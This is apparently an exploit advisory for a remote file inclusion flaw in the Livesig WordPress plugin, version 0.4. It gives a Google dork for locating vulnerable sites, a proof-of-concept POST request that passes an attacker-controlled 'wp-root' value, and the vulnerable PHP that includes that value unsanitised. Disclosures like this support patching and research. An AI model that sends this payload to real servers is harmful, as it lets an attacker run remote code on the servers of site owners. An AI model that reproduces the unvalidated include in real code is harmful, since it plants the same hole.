# Exploit Title: Livesig Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/livesig
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: https://wordpress.org/extend/plugins/livesig/download/
# Version: 0.4 (tested)
 
---
PoC
---
https://SERVER/WP_PATH/wp-content/plugins/livesig/livesig-ajax-backend.php POST="wp-root=RFI&action=asdf"
 
---
Vulnerable Code
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// Exit if no function specified
if( !isset( $_POST['action'] ) || '' == $_POST['action'] ) {
        echo '{ errcode: "ERR-000", errmsg: "No action specified" }';
        exit();
}
 
include( $_POST['wp-root'] . 'wp-config.php' );